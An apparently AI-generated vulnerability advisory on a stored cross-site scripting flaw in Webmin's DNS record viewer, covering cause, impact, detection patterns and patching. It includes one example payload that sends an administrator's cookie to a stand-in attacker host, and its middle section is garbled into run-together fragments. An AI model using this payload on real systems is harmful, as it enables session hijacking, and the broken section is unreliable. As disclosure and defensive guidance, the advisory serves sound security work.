
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-125392 is a stored cross-site scripting (XSS) vulnerability in Webmin through version 2.670, located in the bind8/edit_recs.cgi script. The flaw causes raw DNS record values to be output without HTML escaping when the zone record viewer is in ALL view mode, allowing delegated zone users (such as Virtualmin domain owners) to inject malicious scripts that execute in an administrator's browser. It was published on November 10, 2026, with a patch available via GitHub commit. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (Github Advisory, Feedly).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically at line 271 of bind8/edit_recs.cgi in Webmin 2.670, where the $joined variable — a concatenation of DNS record values — is pushed directly into the HTML output column array without being passed through the html_escape() function (Webmin Source). This omission only affects the ALL view mode code path; other record-type-specific paths do apply html_escape(). An attacker with delegated zone management privileges (e.g., a Virtualmin domain owner) can craft a DNS record value containing a <script> payload and save it to their zone. When a Webmin administrator subsequently navigates to the zone records page in ALL view mode, the stored script executes in the administrator's browser session (Github Advisory, Webmin Commit).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator's browser session, enabling session cookie theft, forged administrative actions, or unauthorized modification of DNS configurations. Because the script runs with administrator-level privileges in the Webmin interface, an attacker could potentially pivot to broader server management actions available through Webmin. Confidentiality and integrity of both the vulnerable system and subsequent systems are assessed as low impact, with no availability impact (Github Advisory, Feedly).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.17–0.21%, placing it in roughly the 12th percentile for exploitation likelihood within 30 days (Github Advisory). Exploitation requires the attacker to already hold low-privileged delegated zone access and requires an administrator to view the affected zone records, limiting the attack surface.
<script>document.location='https://attacker.example/steal?c='+document.cookie</script>.bind8/edit_recs.cgi) and selects the ALL view mode, which triggers rendering of all record values without HTML escaping.bind8/edit_recs.cgi with type=ALL parameter from administrator accounts, particularly following recent DNS record modifications by delegated zone users.<script>, javascript:, onerror=) within DNS record values (TXT, CNAME, MX, or other record types) in zone files managed by delegated users.Update Webmin to a version released after 2.670, which includes the fix applied in commit 224cbd9 that adds html_escape() around the $joined variable in the ALL view mode code path of bind8/edit_recs.cgi (Webmin Commit). As a workaround until patching is possible, restrict DNS record editing permissions to trusted administrators only and disable delegated zone management for untrusted users. Additionally, avoid using the ALL view mode when reviewing zones managed by delegated users, and monitor zone files for unexpected script-like content in record values (Github Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."